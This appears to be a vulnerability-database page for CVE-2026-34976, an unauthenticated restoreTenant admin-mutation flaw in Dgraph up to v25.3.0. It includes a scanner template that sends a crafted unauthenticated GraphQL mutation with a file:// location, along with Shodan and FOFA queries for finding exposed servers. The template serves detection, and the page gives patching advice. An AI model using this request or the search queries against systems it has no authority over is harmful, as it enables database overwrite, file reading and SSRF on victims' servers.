/Vulnerability Library

Dgraph <=v25.3.0 - Admin Mutation Missing Authorization

CVE-2026-34976
Early Release

Description

Dgraph <=v25.3.0 contains an authentication bypass caused by missing authorization middleware for the restoreTenant admin mutation, letting unauthenticated attackers overwrite the database, read files, and perform SSRF, exploit requires no authentication.

Severity

Critical

CVSS Score

10

Exploit Probability

2%

Affected Product

dgraph

Published Date

August 11, 2026

Template Author

str4k3r

CVE-2026-34976.yaml
id: CVE-2026-34976

info:
  name: Dgraph <=v25.3.0 - Admin Mutation Missing Authorization
  author: str4k3r
  severity: critical
  description: |
    Dgraph <=v25.3.0 contains an authentication bypass caused by missing authorization middleware for the restoreTenant admin mutation, letting unauthenticated attackers overwrite the database, read files, and perform SSRF, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can overwrite the database, read server files, and perform SSRF, leading to full data compromise and server access.
  remediation: |
    Update to version 25.3.1 or later.
  reference:
    - https://github.com/hypermodeinc/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34976
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34976
    epss-score: 0.01824
    epss-percentile: 0.7706
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 3
    vendor: hypermodeinc
    product: dgraph
    shodan-query: title:"Dgraph"
    fofa-query: body="dgraph"
  tags: cve,cve2026,dgraph,auth-bypass,ssrf

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "dgraph", "Dgraph")'
        condition: and
        internal: true

  - raw:
      - |
        POST /admin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query": "mutation { restore(input: { location: \"file:///nonexistent-cve-34976-probe/\" }) { code message } }"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "unauthorized ip address")'
        condition: and
        internal: true

  - raw:
      - |
        POST /admin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///nonexistent-cve-34976-probe/\" }, fromNamespace: 0 }) { code message } }"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "restoreTenant")'
          - '!contains(body, "unauthorized ip address")'
        condition: and
# digest: 4b0a00483046022100fbc9ebead66f7d00766a66aa80a4e19d0f5b6f5b451cfc032142a212b94a7dc8022100ecdd941f5640566d00be42bb6fe13be227b4a2a5044b81022f49c57e6fb9cd61:922c64590222798bb761d5b6d8e72950
10.0Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE ID:
cve-2026-34976
CWE ID:
cwe-862

References

https://github.com/hypermodeinc/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcwhttps://nvd.nist.gov/vuln/detail/CVE-2026-34976

Remediation Steps

Update to version 25.3.1 or later.